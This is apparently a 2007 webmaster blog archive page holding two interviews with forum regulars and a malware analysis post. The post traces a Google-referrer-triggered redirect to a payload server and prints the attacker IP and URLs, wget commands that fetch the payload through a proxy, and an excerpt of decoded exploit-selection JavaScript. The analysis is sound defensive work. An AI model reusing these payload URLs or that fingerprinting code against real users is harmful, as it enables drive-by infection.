I know that wasn’t a question but I would like to comment anyway. Although you are not the first to suggest I am not of this world, serious or not, I feel it is not so much a question of identifying the “where”, but identifying the “when”.

I think had I lived 150 to 200 years ago, I wouldn’t seem as much an alien as I do to so many people. More often than not, people who I communicate with over a period of time before ever meeting in person say something similar, I seem odd to them because they try to identify me with a place and fail but after meeting me in person, understand it is not a matter of identifying a place, but a place in time.

Many people are still put off after realizing that but a few people are able to take it in stride. You can tell a lot about a person by how they react to extreme situations and I guess I can be a bit extreme at times.

Someone once called me an “anachronistic anomaly”. That seems to describe me as well as any other description I have heard, at least descriptions appropriate for mixed company.

So Craig, with a brain the size of a planet, I’m sure you have some really smart and cool things to do. What drives you to spend so much time in the Google webmaster help groups?

Good question, as in the best question have no real answers. The closest I think I can come to a real answer though is that I enjoy observing how things work. One of my first memories is of my parents taking me and my two sisters to a zoo where there was a carousel. While my sisters were busy watching the pretty horses, which were just carved and painted wood, I was watching the gears and shafts and cams and wheels looking to see how it all worked.

Later, much later, when I was working with particle accelerators, some the size of 5 story buildings, there would be some sort of problem but one had to have a pretty good idea of what it was because as often seemed the case and as Murphy’s Law would have it, problems usually occurred in the least accessible spot and it could take up to a couple of days just to get to where the problem might be.

If the problem wasn’t there, all that time was wasted. But, it also wasn’t good enough just to know where the problem was, one also had to have an idea of how to fix it and maybe more importantly, how to keep it from happening again and again. All of what went into getting proficient at that was observing what one could of available data from what one could see and then coming up with a reasonable scenario as to what the cause might be where one couldn’t see and then testing that scenario as much as possible before putting any plan into action.

In Google’s Webmaster Tools Help Group, I am able to observe a lot of different situations and the more I see of a given situation, the more I have to go on to try to come up with possible scenarios to understand what may be happening. So I guess what drives me is what has always driven me, a desire to observe and understand.

How did you find the Google Webmaster Help groups in the first place? Looking at your first posts it doesn’t look like you had any particular problem that needed to be solved.

I found the group through the Google Webmaster Tools which I found through the “Add URL” page. I had just launched my first publicly accessible web site and had heard of submitting URLs to the various search engines so I asked “Professor Google” how to do it for the search engines I knew about the most and found what I was looking for. From there, I played with the Webmaster Tools for a very short time which was primarily due to there being no real data to look at when a site is first indexed and then started digging into the help files and was directed to the Groups forum. It was not so much that I was having any particular problem at the time, or since, but more so, someone felt it worthwhile to publish all that information for some reason, not reading it would seem to be a serious waste of both their time and mine.

You are right though, I didn’t have any particular problem nor do I think I would have asked had I one. I have been around long enough on various technical forums and the like to know that there is rarely a question that hasn’t been answered or doesn’t have an answer somewhere although very possibly being “hidden” and in need of being dug for.

On the other hand, I also know that for some questions, there are no answers or at least no answers likely to be forthcoming so before asking too much, I’d want to know what questions are even likely to receive an answer of any use.

But, search engines at that time I had very little experience with, other than as a search user and having already dealt with large amounts of data, it intrigued me as to how one might deal with essentially archiving the entire Internet and more importantly, making that archive available in an intelligent and useful manner. Large amounts of data don’t impress me as I’ve dealt with huge databases of tera and peta-record size but the easy, intelligent and fast access to the contained data is the real challenge.

What was it that grabbed your attention about the web? Why did you decide to put together your own website?

I wouldn’t say I was particularly “grabbed” by the web. It just seemed like a much easier platform to develop applications for. I’ve written in almost every language from machine code to C++ and at one time burning EEPROMs just to be able to test a section of code out. With PHP, Javascript and MySQL, I can whip up an application in a matter of hours. It may and very likely will look like hell but the basic functionality is there, sort of a proof of concept if you will.

As for cass-hacks specifically though, I’d built a lot of toys of various levels of usefulness over a period of time and although any one specific toy may not be all that useful, the processes that go into making them work is always useful because a given toy’s functionality is limited to what it was designed to do as well as a little bit being extensible for other purposes if designed well but the processes that go into making any toy work can be used over and over again to build whatever one can imagine. Also, every language has a lot of very simple syntax that is pretty boring to look at but can become interesting to the point of being exciting when combined in ways one might not originally have thought of.

Although straying a bit from the mark, I think the most interesting project I have documented on my site so far is one that gets the least amount of traffic. That project is a user notification system that is actually “agent” based, i.e. artificial life or as is commonly referred to as artificial intelligence, AI. Many people think that “AI” is some complex rule processor that attempts to simulate intelligent thought but that is only science fiction and pretty much had been given up on many years ago. Most of the work done in this area over the past couple of decades has been “Agent based”, creating simple little entities programmed to do very simple tasks and then releasing them to do what they were programmed to do. Where this ties in with what I have been talking about though is that once I came up with the method of implementing the functionality I wanted to support, it took me all of about 20 minutes to do it using DOM, CSS and Javascript whereas trying to do the same thing in just about any other programming environment would have taken days.

Once you have worked with different technologies, you usually get a grasp for the general problems that could come up when implementing them. What unexpected difficulties did you run into while working on your first site(s)?

This is going to be a boring answer. ) None.

I guess from my past experience, I do things a little different than many people. I start out with a list of requirements for a given task and then look into the various methods of satisfying the requirements, with all their possible positives and minuses and then choose the available “tools” that allow me to do the most with the least. By the time I actually get to building something, it is sort of boring because then it is most often just a matter of “plugging and chugging”, a phrase I got from a Calculus professor in the past which basically means, set up the equations, plug in the variable data and then chug through the calculations. Once you got to the “Plug and Chug” stage, it was all pretty much done.

If you came to a situation where you absolutely had to get a website to rank high for competitive terms, which methods would you apply first?

Probably the first thing I would do is go out and hire an SEO. Sorry, boring answer. OK, first, I’d have some limitations on whether or not I even attempted it in the first place. I’d have to be interested in and/or have some experience in the subject matter because getting different sites to rank well is not the same for all sites. Second, I’d take a look at what the past experience of the site has been and how it is doing currently and then I’d look at what are the short term and long term goals. I guess what all that means is that getting a website to rank high for competitive terms only, is a waste of time, energy and money.

But, if I didn’t care about all that and had someone else’s money to waste, I’d first make sure the site/page was even capable of ranking for the terms in the first place by making sure the terms even existed on any of the pages. Then I’d make sure there was as much information from as many different directions as possible on the subject of the target terms and then I’d work to get enough links to the site as necessary so as to make sure the page(s) was(were) even available for searches in the first place.

What I can’t do though is make people search for the targeted terms. So many people talk about wanting to rank well for this that and the other thing but so often is the case, no one is really searching for what is being targeted. I know some people use keyword generators to find out what people are searching for but I also feel that people who then decide what content to put on their site based solely on what will gain the most traffic are doing a disservice to both themselves as well as their potential visitors.

You seem to have seen a lot of corporate environments and worked in a lot of groups, is there anything about Google that was completely unexpected to you?

I feel another boring answer coming on. No, not really. Google, like all companies, is made up of people. Companies may have their policies but it is people that put them into action. A company could have the most negative policies in the world but due to the people in its employ, the company is seen in a much more positive light than a company that may have the most altruistic policies in the world with assholes implementing them.

Google seems to be the best of both worlds though, company policies seeming to tend toward ensuring equality for all involved with people implementing them that also seem genuinely concerned about the people they actually serve, the users of their various products and services. Were it not the case, I wouldn’t be sticking around because it wouldn’t make sense supporting someone else in being an asshole when I can enjoy being a much bigger one all by myself, why share? On the other hand, when I see a situation, much like with Google, where many people feel the need to view Google as evil or have ulterior motives where having any would be counterproductive, if I can in any way help someone to possibly see the other side of things, I feel I have done some good.

Were it not the case of Google being a basically positive company with obviously positive people working for it, there wouldn’t be so many of them out there putting themselves in the public eye and speaking as much for themselves as they do in efforts to try to explain as much as they can about the company they work for and with.

Turning the tables on Google, assume you had full access to everything and all the help that you needed, what would you change?

It wouldn’t really be a matter of “turning the tables” and although I definitely feel another boring answer coming on, I don’t know enough about what goes on internally to want to change anything. How could I know that what I wanted to change wouldn’t actually make things worse unless I knew why what I wanted to change was the way it was in the first place?

On the other hand, were I to have the opportunity, I would like to improve on some things, mainly things that I have been exposed to. I’d love to revamp the Webmaster tools and make them more timely and informative to the extent possible. Getting rid of tools that are of little use while expanding on others that may seem of little use but could be much more valuable if the data they offered was expanded and made more accessible to searching through. Also, I’d love to rewrite the Google Groups application as it seems to have the worst of all possible worlds.

Its use of Javascript, has to be about the most counterproductive as I have ever seen. There are also a number of things that could be done using Javascript, but aren’t currently, that could make the Groups much easier to use. About the only thing the Groups application has gotten right, in my opinion, is making it so that the functions of the Groups application work with Javascript enabled or disabled, which is actually a big accomplishment considering so many of the Javascript applications similar to it don’t work at all without Javascript.

Also, and I don’t know how much can be done in this area as I don’t know how it is currently implemented but one thing I would like to tackle would be improving the reliability of the various functions of the Groups application as it gets downright discouraging to use more often than I would like any application I was responsible for to be.

Is there anything more you’d like to add at the moment?

Other than thanking you for what has been my first interview in a LOOOOONNNNNGGGG time, I can’t think of anything I’d like to add.

Thanks for your time, Craig!

Although I’ve had a feeling this interview was coming, and dreading it, it wasn’t as painful as I thought so I thank you for making the process not too terribly intolerable!

The website hack you’d never find

John Mueller — Thu, 23 Aug 2007 22:03:34 +0000

Warning: do not try the URLs here unless your system is locked down properly. I suggest using a “virual machine” (I use VMware) to test things like this. The hack itself is complicated, the system is simple – skip the complicated part if you’re in a hurry.

It all started with a posting like this:

When I do a google search for [Jonathan Wentworth Associates] the first result is:

Jonathan Wentworth Associates, LTD
Welcome to Jonathan Wentworth Associates, a respected resource for world-class orchestral soloists,
conductors, opera, chamber music, chamber orchestras, …
www.jwentworth.com/ – 19k – Cached – Similar pages – Note this

The: “Jonathan Wentworth Associates, LTD” is highlighted and is a link to the web site. If you place the mouse over the link, it shows http://www.jwentworth.com. However, if you click the link it immeately attempts to download the trojan. My McAfee immediatly blocked it.

Looking at the page in question, it doesn’t appear to be hacked, it doesn’t appear to have any kind of scripts injected, etc. However, using LiveHTTPHeaders with Firefox, while doing the same steps (search, click on the top result) you see the following:

GET / HTTP/1.1
Host: www.jwentworth.com
HTTP/1.x 302 Found
Location: http://85.255.117.38/ind.htm?src=324&surl=www.jwentworth.com&sport=80…

GET /ind.htm?src=324&surl=www.jwentworth.com&sport=80&suri=%2F HTTP/1.1
Host: 85.255.117.38
Referer: http://www.google.com/search?q=Jonathan+Wentworth+associates
HTTP/1.x 302 Found
Location: http://www.jwentworth.com/

Without going through Google, the page is returned right away, just like it should. Search engine crawlers also get it like that. After the step through Google however, the site does a 302 redirect to some IP-Address and then returns to the original site. The average browser won’t see that, but if you’re quick you might spot it in the status-bar. A search engine crawler or any user who knew the address would get there without a redirect and not notice a thing.

Strange.

That’s something that deserves to be looked at more closely. What’s on that server? How could I be able to see it?

I had seen something similar a few months back which redirected me to an affiliate site the first time I went to that site through a Google referrer (in my case, the gmail.google.com referrer was enough). It would only trigger once per IP-Address. This looks like a similar hack.

When I was able to download the files, I had a nice collection of:

an encrypted javascript file that downloaded exploits based on browser and operating system
an exploit from free-spy-cam.net
an affiliate sales page for an antivirus software. Oh the irony. “We just infected you, buy our antivirus to get clean.” That is, if that software isn’t infected with something else.
an affiliate signup link on that page

A search engine crawler will never see these things. A user, coming in from Google, will get redirected and if the IP address is not known, it will trigger a few exploits based on the system the user has and then display an affiliate ad page. The next time the user comes, the redirect will happen but the normal page will be shown.

Spotting the hack on your site

It would be good to know how you could spot a hack like this on your site. In general, you wouldn’t be able to. You can check for this particular hack, but it might not trigger every time … not to mention that there are likely way too many hacks that you would need to check for.

A simple way to check for it would be to use wget to access the page, and check for strange redirects, eg:

>wget –user-agent Firefox –save-headers –referer “http://www.google.com/search?q=duuude” “http://www.jwentworth.com/”

However, as mentioned, that might not work every time.

The technical details

(skip this part, if you are lost already )

The original spotting of the anomaly was using LiveHTTPHeaders with Firefox, while doing the steps: search, click on the top result. You see the following:

GET / HTTP/1.1
Host: www.jwentworth.com
(…)
Referer: http://www.google.com/search?q=Jonathan+Wentworth+associates

HTTP/1.x 302 Found
Date: Thu, 23 Aug 2007 06:38:04 GMT
Server: Apache/1.3.37 (Unix) mod_auth_passthrough/1.8 mod_log_bytes/
1.2 mod_bwlimited/1.4 PHP/4.4.6 FrontPage/5.0.2.2635.SR1.2 mod_ssl/
2.8.28 OpenSSL/0.9.7a
Location: http://85.255.117.38/ind.htm?src=324&surl=www.jwentworth.com&sport=80…
(… added space to prevent linking …)

GET /ind.htm?src=324&surl=www.jwentworth.com&sport=80&suri=%2F HTTP/1.1
Host: 85.255.117.38
(…)
Referer: http://www.google.com/search?q=Jonathan+Wentworth+associates
HTTP/1.x 302 Found
Date: Thu, 23 Aug 2007 06:38:05 GMT
(…)
Location: http://www.jwentworth.com/

A strange redirect like that is a really bad sign. How can we check the URL that is given to see what they are sending? Apparently it can only be triggered once per IP-address and I had already used that chance earlier. In order to view the initial page, I had to find an IP address that was not yet registered with the remote server (at least that’s my explanation). I used a proxy server from one of the lists online. Using the proxy server and wget, I was able to access the page:

>set http_proxy=81.63.140.37:3128

>wget –user-agent “Firefox” –save-headers “http://85.255.117.38/ind.htm?src=324&surl=www.jwentworth.com&sport=80&suri=%2Findex%2Ehtml”

Connecting to 81.63.140.37:3128… connected.
Proxy request sent, awaiting response… 200 OK
Length: unspecified
20:43:23 (79.20 KB/s) – `ind.htm@src=324&surl=www.jwentworth.com&sport=80&suri=%
2Findex.html.2′ saved [414]

The page that was returned was a normal frameset:

<HTML><HEAD><TITLE></TITLE></HEAD>
<frameset framespacing="0" border="0" rows="*,1" frameborder="0">
<frame name="m" src="/site.htm?lng=1&trg=cln&oip=0&trk=zszuyhbinthnpzt" scrolling="no" noresize marginwidth="0" marginheight="0">
<frame name="b" src="about:blank" marginwidth="0" marginheight="0" scrolling="auto">
<noframes><BODY>Frames not supported by your browser.</BODY></noframes>
</frameset><body></body></html>

The second frame was kind of funny, “about:blank”? The first one was a bit more interesting though: http://85.255.117.38/site.htm?lng=1&trg=cln&oip=0&trk=zszuyhbinthnpzt
Notice the “trk” parameter.

Accessing that page with Opera within a VMware virtual machine running Windows 2000 (heh, paranoid is good), I was able to access that page. I saved it for analysis (and had Ethereal running on the side just to be sure). I tried to refresh and it returned 404. You could only view the page once.

Looking at the files you see some interesting things:

- an encrypted javascript file
- an exploit from free-spy-cam.net
- an affiliate sales page for the antivirus software
- an affiliate signup link on that page

The ZIP-File contains a full copy of the files as downloaded by the Opera browser. Check the files at your own risk, they contain the full exploit.

The encrypted javascript file looks like this (pulled apart and reformatted; called “__cntr000.htm” in the ZIP file):

The contents of the file are encrypted with some variation of Base64 encoding. You can decode the javascript by replacing:
eval(dd1+”.”+dd2)
with
document.write(“

”);

Doing that will display the full contents of the encrypted data (called “__cntr000-decoded.htm” in the ZIP file).

(...)
var WinOS=Get_Win_Version(IEversion);
PatchList = clientInformation.appMinorVersion;
switch (WinOS)
{
case "wXPw":
XP_SP2_patched=0;
FullVersion=clientInformation.appMinorVersion;
PatchList=FullVersion.split(";");
for (var i=0; i < PatchList.length; i++) { if (PatchList[i]=="SP2") { XP_SP2_patched=1; } }
if (XP_SP2_patched==1) { ExploitNumber=9; }
(...)
location.href="cnte-eshdvvw.htm?trk=zszuyhbinthnpzt";
(...)

It is yet another javascript that triggers an exploit based on the operating system (it even test for XP service pack 2) and browser that the user is using. The exploit is also tagged with the “trk” parameter and couldn’t be downloaded separately. You can bet that’s it’s not a picture of your favorite celebrity, however.

Next steps

You could follow these up with:

Checking the whois of the payload-server and notifying the hoster (in this case probable fruitless)
Checking the sales page, search for the affiliate ID and the setups running and complain to the affiliate networks about this webmaster
Mirror a copy of the original server for analysis
Obviously move to a different server, perhaps even a different hoster

Summary

The hacker had managed to patch the server side code (most likely the Apache server) so that
- search engines see the normal page
- new users from search engines are hacked with several exploits and shown an ad for anti-virus software

Spotting something like this on your own sites is close to impossible. The search engine crawlers would not notice anything.

Recognizing something like this algorithmically on Google’s side would be possible with the Googlebar-data. Assuming all shown URLs are recorded, they could compare the URL clicked in the search results with the URL finally shown on the user’s browser (within the frames). At the same time, the setup could be used to detect almost any kind of cloaking.

Scary stuff.

Interview with Matt / “Dockarl”

John Mueller — Wed, 22 Aug 2007 08:21:47 +0000

Hi “Doc”, it’s cool to have you here! It’s great that the web removes barriers like the physical distance from here in Switzerland to Australia. Matt has been one of the regular contributors to the Google Webmaster Help Groups since January 2007. He has a diverse background: Agriculture and Computers, an interesting mixture, or how he puts it in his profile: “I know about cows and computers” .

Looking at your first posts, I see a desperate webmaster, someone even screaming for “HELP!!!” in the thread titles. How did you find the Google Webmaster Help groups and what made you decide to originally post about your problems there?

Hmm.. how did I find the groups – I think I might have searched “How to contact Google” and came across the webmaster help groups there. I had to – I’d come across a problem that I just couldn’t get an answer to by doing a regular Google search, I knew it was an unusual problem and, like many other webmasters, I figured I might be able to find a real, living, breathing Googler somewhere to talk about the problem.

Did you get a satisfactory answer to your original questions in the groups? What elements were vital to that outcome?

Well, for some reason the answers to that post (it was back in 2006) have been ‘lost in the system’ but I did get a lot of hypotheticals from the regular group members – but nothing that helped, unfortunately.

How that came about is a very long story, but hell, you’ve asked, so I’ll tell you . The person who owned the intellectual property we had been laboring to develop for the last two years had turned nasty – and was annoyed that we used their name on our website (and outranked them for it). My business partner and I were receiving ~20+ calls a day between us from the person. The phone calls started to elevate to the extent that we considered them threatening, and we were forced to call the police.

In the wash-up we just decided that – as a family business – we weren’t prepared to have to explain to my business partners kids (both under 5) why mum was crying and the police were ‘coming for a visit’ on a Saturday morning – so we decided to remove the name in question to stop further stress, even though we had every right to use it.

So I took the quickest path possible, made the changes to the website and asked Google to remove the cache. It had unintended consequences – it totally removed the ‘snippets’ from our website (our listings were title only), and we were left with a huge traffic decline. This, on top of everything else was absolutely crippling to the business. So, by the time I posted here I was getting a bit desperate – and it’s one reason I’m generally patient with people that come to the groups angry.

In the end, unfortunately no one here could give me the answer to the problem – it was out of their control. I hadn’t realized that a cache removal would remain in effect for 6 months. The main element that was vital to my outcome was Vanessa Fox (the beaut person that she is) who saw my post and stepped in and tweaked the system to let my site back in.

You’re a webmaster, you had issues with your site and Google and posted in the groups. If a webmaster came up to you and asked if it would be worthwhile to post about his problems there, what would you tell them? Would it make any difference if the webmaster was new to webmastering?

That’s an easy question. We’ve got a great community of beaut people here – you just don’t spend hours helping people gratis unless you’re passionate about it, so we tend to be universally ‘nice’ to people, especially newbies. I’d say ‘Go ahead, write your question, try to be succinct about it and TRY NOT TO PANIC!’. I’d also make sure that they knew that the people helping would more than likely be knowledgeable volunteers, so make sure you check your frustration at the door

What was it that made you stick around in the Google Groups, not only to ask more questions but also to help answer other people’s questions? What makes the Groups special compared to other forums?

Well I think that JLH and yourself made the effort to email me and help with some problems I was having with a hobby site of mine called ‘utheguru’ – that was an awesome gesture and made me feel at home. That kind of thing, along with the occasional guest post by a Googler, is what makes this forum special

In parallel to that, things had degenerated a lot further with our business to the extent that lawyers had become involved, and I had to put my PhD (and hence, income) on hold to spend my time dealing with that. I was looking for a stress release, and I’ve always been the kind of person that finds learning natural, cathartic and relaxing – so I got hooked.

If I’m honest, I also figured it was a way I could work towards another goal of mine – working with Google.

As an undergrad student, I read Page and Brin’s paper, and thought – “wow, that’s a neat idea”. The whole concept of Pagerank and linkages is something that’s really been around in science for hundreds of years. A good scientific paper is one that references other authors widely, and a reputable scientist is one that has papers referenced by many others. The CONCEPT of Pagerank is really nothing new in science – it just took a neat idea by those two fellows to convert the concept into something that could transcend academia and become relevant to that new thing called ‘the Internet’. Google became popular, first, amongst scientists – that’s something I observed and there was certainly alot of buzz about it within that sector of society before it ever became the household name it is now.

I’ve been a Google user ever since, and I’m fascinated by the system itself, how it works, the company, the culture – everything about Google appeals to me.

Further to the reasons Google fascinates me (you didn’t ask but I’m gonna tell you anyway.. haha), before the rather wild ride of backless lingerie began, I’d worked for some time as a Scientist with the Sugar industry (especially on the field / mechanisation side), and one of the major things I worked on there was reward algorithms – trying to use disparate manufacturing measures at the mill end of the system to send ‘quality’ signals to harvester operators. Hmmm.. how do I explain this – well, I’ve gotta go into a little background detail…

Sugarcane harvesters chop up cane into little lengths, about 8 inches long, called billets. Along with the cane, the leaf material is also chopped up. If that leaf material reaches the mill, it can have a bad affect on the quality of the sugar produced, and it also makes the cane more expensive to process and transport. So, the harvesting machines have big 6 foot metal fans which rotate at about 1000 rpm – that’s a phenomenal tip speed. These fans sit above the cane right after it’s been chopped, and their aim is to remove the leaf material. Unfortunately, a whole complex set of interactions conspire to result in a situation where if you try ‘too hard’ to remove the leaf material, you also end up losing about 20% of the cane you harvest through those fans – but it’s invisible. A billet that’s gone through an extractor fan ends up looking something like dessicated coconut – and there is no way of knowing the losses exist unless you do scientific trials to prove it.

I’d done the trials – all through North Queensland, in Papua New Guinea – all over the place. We had proved the losses existed, and the cost to the industry was in the billions of dollars per year, let alone the environmental impact. But because you can’t actually SEE the losses, you have a hard time convincing people that they actually exist. We got to the stage where my team and I had convinced the industry that there was a serious problem, and the next step was obviously “How do we stop it”. We knew that there was a ‘sweet spot’ where those losses could be reduced to around 5% depending upon the way the harvester was operated. Since we didn’t have the ability to measure what was happening in the field on a real time basis, we had no choice but to use indirect measurements in the mill – like fibre, the sweetness of the cane etc, to try and infer what was happening in the field – to measure ‘quality’ of the job.

That became my focus, and I learnt along the way that when you’re trying to make a reward system based upon derived measures, the tiniest little change to your algorithm can have huge impacts upon the system you’re trying to model. Also, if you’re offering “rewards” based upon indirect measurements, you actually end up becoming an intrinsic part of the system you’re trying to model – in clearer terms, the whole system tends to change or adapt to maximize “profits”, which can play havoc with the “accuracy” of your algorithm.

It sounds completely unrelated, but that’s actually Google (and the spam struggle) in a nutshell. That’s one of the reasons I’m fascinated with it and feel at home here in the groups where occasionally we get questions that make me think quite deeply about the challenges Google must face – and we get the opportunity to debate our views This thread about pagerank where Craig and I duked it out with full respect for each others opinion is one example I can think of that I’ve enjoyed.

You studied Agriculture and set up a shop to make and sell backless lingerie. I bet all the guys in the groups have visited your full site (for SEO reasons, I’m sure ). How did that ever come about?

Ha – not only did I study Ag, but I managed to convince the government here to award me a scholarship to do a coursework Master’s degree in Computer and Comms engineering. I ended up with a few awards and an aggregate score of over 93% – without an undergrad engineering degree – I think that surprised everyone, even me . But I guess it’s only natural – most people do best when they’re doing something they love. I’ve always been fascinated with those applications where IT, Engineering and Science intersect and meet ‘the real world’ – that’s kind of Googly.

An example – I can remember the time when I was about 12 years old that I blew up the family commodore 64 trying to get it to drive solenoids to water the garden for Mum. I didn’t realise at the time that you need a transistor and a relay if you want to drive something hefty like a solenoid with a TTL output

But apart from being a bit of a terror, I’ve also always been a traveler and got along easily with folks. As such, when I was writing my Masters thesis, I figured I’d go stay with some mates overseas – I had a load of frequent flyer points I wanted to use, they all offered to put me up for free, so I figured it was an opportunity too good to miss. The only ‘gotcha’ was that I was to provide the beer – Norway was a hoot – my oh my – the Vikings ARE NOT dead!

I ended up (between parties) writing most of my Master’s degree tapping away on my laptop, perched on the edge of a fjord whilst staying with my Norwegian Marine Biologist friend in Northern Norway for a few months mid 2005 – the 24 hour sunlight was GREAT.

On the way back I dropped in to see my Indian mate in Tirupur (the south of India, in a state called Tamil Nadu) and ended up spending a few months there too. Tirupur is a big textile producing area, and I made friends with some of the big players there.

When I finally arrived back in Australia I mentioned that to my Brother in Law (a solicitor) and he said “well, I’ve got some clients that are looking to manufacture a neat new product they’ve developed” – so, before I knew it, I was off to India where I learnt all about ladies underwear, mobilon and thread density. We quickly got a few test shipments under our belt.

Upon returning my brother and I were asked if we’d like to get more deeply involved with the sale and promotion of the product – somehow I let myself be convinced. There began the roller coaster ride – I became manufacturer (traveled to China as well for that part several times), web developer, email wrangler, undy packer, book keeper, promoter and media spokesperson. It was crazy work and it was unpaid – the cost of manufacture and promotion sucked away much of my savings and any profit the product brought in before it ever had a chance to reach my pocket – although attending the modeling shoots was fun, and the POSSIBILITY that it might become something big was intoxicating!

But – a word from the wise – ever heard of Ali Baba and the 40 Thieves? Those folk were in the rag trade Get involved at your peril.

One of your sites has recently had a strange kind of trouble with Google’s index, with all sorts of possible explanations but no resolution so far. For the average webmaster these kinds of situations are incomprehensible and terribly frustrating. What would you tell the webmaster when stuck in a rut like that – keep working on the problem or let it sit for a while?

First I’d ask them to think about whether they’d made any big changes to their site recently – to try and hone in on whether it might be something they’d caused themselves, rather than anything algorithmic.

Next, if I’d decided it might indeed be a penalty, I’d usually give them a copy of the webmaster guidelines and say “What do you think it might be?” – people usually have a fairly good idea about what they might have done wrong if a potential penalty is involved. I’d then ask them to write out a list of potential issues, and correct them + submit a reconsideration request and wait a month. If that didn’t work, time to put on the “mad scientist” hat and get methodical about things.

First I’d probably use Google to do a search for other people experiencing the problem. From there I’d approach these groups. If that drew blanks, I’d then start tweaking things with their site – but softly softly – one change at a time, waiting at least a week between changes so that I’d have a fair idea what ‘the cure’ was for future reference.

If that didn’t work I’d probably just start to assume that they were the victim of Google collateral damage – hell, we all know it happens, and I’d be submitting some attention grabbing posts to this group to try and ‘elevate it’ to the attention of Googlers, so that they could use their gadgetry to try and work out what the story was.

At that stage things are out of your hands, and you just hope that perhaps you’ve alerted Google to a potential “Googlebug” that might stop others from experiencing the same kinds of issues.

Assuming you had full access to Google’s servers and some web designers + programmers to help you, what would you change?

Hmmm.. looking back through my prep notes for my Google interview here…

I think I’d start with the problem of penalties. I’d be sitting down with the alg team and trying to thrash out a way that we could actually help those ‘ma and pa’ webmasters that have accidentally shot themselves in the foot – and to do so without giving the spammers a leg up.

I’d write out a list of things that we considered ‘top secret’ and another of those factors that were ‘out of the bag’, and I’d set about implementing changes to Google webmaster tools to alert folks to little things – like obviously hidden text – that might be resulting in a penalty and which they might not know about. Those kind of issues, to my mind anyway, are already well known amongst spammers and you can’t lose much by letting people know about them.

As for the more complex things, like, for example, keyword density (it’s a simple one, I know, but let’s start there) – you know, things that aren’t black or white – things where there were shades of grey, I’d be making tools to show them which side of the line they are tending towards – like a gauge, or traffic lights.

“We think your site is looking a little spammy – here’s an orange alert”.

Naturally, the alg team would then say to me “Well Matt, that’s all well and good, but if we start giving folks that kind of info, we’re essentially giving the spammers a great tool which they can use to test the limits of our alg, too”. I’d then say to them, well, why don’t we use cluster analysis to break sites down into 100 different categories of ‘spamminess’ – the traffic lights would just show how spammy you are relative to others in your ‘spamminess cluster’ – so really, if we give a green light to a known spammer, all we are telling him is that he’s kind of ok compared to the other spammers within his uber spammer group – but he needn’t know that

For the spammers, the lights system would achieve nothing. For the ma’s and pa’s that are relatively innocuous, having a red light could be a huge help – just knowing you have a penalty lets you know that it’s actually something you can track down and correct.

But I suspect the other engineers would raise a whole load of reasons that my approach wouldn’t work – but I love the dynamics of a group, and part of the enjoyment of working in one is often the synergy that you find when you’re sitting down with a whole bunch of folks with common interests and intellect thrashing out a new idea – that’s how a lump of coal turns into a diamond.

That would be a plum position to be in.

After that I’d probably start gravitating towards the alg design / testing side of things – as that’s something I’m fascinated with – setting up mega test networks and conducting sensitivity analysis and pre-testing of new algorithm ideas would be lots of fun and extraordinarily satisfying – I love taking good ideas and helping make them better.

I’ve also thought I’d like to make a tool that shows a graphical representation of the linking structure of a site – with things like nofollow, noindex as an overlay – that could be a great troubleshooting tool for lots of problems too.

But, to be honest, most of my programming experience is at the nuts and bolts level – A GUI to me is a command line and a prompt – I’ve got a lot of engineer in me. I’d be able to write the crawlers and mangle the database, but I’d have to leave the bells and whistles to someone else

You’ve done a lot of different things (so far, including an interview with Google). If you could rewind back to when you started studying, do you think you would do anything differently knowing what you know now (other than obviously buying some good stock)?

Cool! A rewind button!

Firstly, I wouldn’t have flown Qantas to my big interview – it was a debacle start to finish – they lost my bags (clothes, books, notes) my flights out (and back) were both delayed 12 hours or more and diverted because of tech probs – in short, I arrived sleep deprived and not feeling prepared, and I think I only hit my feet during the interview just after lunch. It was like an out-of-body experience.. grrr….

Secondly – I wouldn’t have studied Agriculture.

We had loads of fun out there, but my natural aptitudes are IT / Science / Engineering. My ag degree included a lot of that, but I tended to get let down by the sheer boredom of prac sessions that included watching grass grow – honestly.

I’m the kind of person that thrives on a challenge – so I did poorly at the “watching grass grow” practical subjects, and tended to dux the more academic subjects that others found a tad difficult – like advanced stats, biometry etc – I did the wrong degree for my skillset and, like it or not, time is a depreciating commodity.

I’m an extremely outdoors person, and I thought back then that if I studied IT or engineering I’d be stuck in front of a computer all day – but I now realize that that’s not really the case at all. Shucks, if I’m honest with myself, I LIKE spending time in front of the computer. I’ve come to realise that it’s the life / work balance that’s important – if you don’t have one, you tend to lose out on the other.

So with Ag, I just ended up naturally gravitating towards work that required me to be ‘stuck’ in front of a computer all day anyway, but getting paid poorly for it, so the opportunities to go outside and do adventurous things in your spare time were limited.

I’ve had some massive, great interesting experiences with the route I chose back then, most of which I don’t regret, but if I’d done IT or Eng instead of Ag, I think I’d be in a better place, career wise. You mention “good stock” – it’s funny that, because luckily I realized early that this wasn’t what I wanted to do long term, and tended to invest my wages well – so I’ve managed to have a decent lifestyle during the recent ‘challenges’ which is LUCKY

Is there anything you’d like to add?

John Congrats on the new job, and I’m looking forward to achieving a dream like that myself soon, too – good on you mate!

Thank you very much for your time and the replies, Matt!

johnmu.com - technical website tips

Hackers stealing your PageRank

Seeing nofollow links in Google Chrome

Confirm that you’re using Analytics on all pages

Finding pages without Analytics

Finding pages with AdSense (and the ID used)

Running Firefox in parallel

Go hack yourself – recovering your FTP password

How to use Google webmaster tools stats with Excel

Google Webmaster Groups statistics for September 2007

The numbers

Top posters

Top thread starters

Threads with Googlers participating

New threads started by Googlers

New threads started by regulars (>100 posts)

Top most active threads

Top most linked Domains

Top most linked Google answers

Being #1 with “Untitled Document” and Flash

Opportunities in Search

So I went to visit Google in Mountain View …

Where are you in local search?

Why can’t I browse your site on my phone?

Spoiled by web 2.0 – easily adding neat stuff for free

Interview with Richard Hearne (“Red Cardinal”)

Google Webmaster Groups statistics for August 2007

Threads with Googlers participating

New threads started by Googlers

New threads started by regulars (>100 posts)

Top most active threads

Top most linked Domains

Top most linked Google answers

A set of command-line Windows website tools

Interview with Craig “cass-hacks”

The website hack you’d never find

Interview with Matt / “Dockarl”